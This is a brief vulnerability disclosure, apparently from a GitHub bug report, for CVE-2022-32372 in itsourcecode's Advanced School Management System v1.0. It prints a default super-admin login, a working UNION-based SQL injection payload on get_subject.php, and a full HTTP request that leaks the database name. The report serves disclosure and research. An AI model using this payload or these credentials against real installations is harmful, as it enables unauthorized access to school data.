Headline
CVE-2022-32372: bug_report/SQLi-4.md at main · k0xx11/bug_report
itsourcecode Advanced School Management System v1.0 is vulnerable to SQL Injection via /school/model/get_subject.php?id=.
Permalink
Advanced School Management System v1.0 by itsourcecode.com has SQL injection
Login account: [email protected]/12345 (Super Admin account)
vendors: https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/
Vulnerability File: /school/model/get_subject.php?id=
Vulnerability location: /school/model/get_subject.php?id=,id
[+] Payload: /school/model/get_subject.php?id=-15%20union%20select%201,database()–+ // Leak place —> id
Current database name: std_db,length is 6
GET /school/model/get_subject.php?id=-15%20union%20select%201,database()–+ HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=kh42r202aj35u61brcutn42s96 Connection: close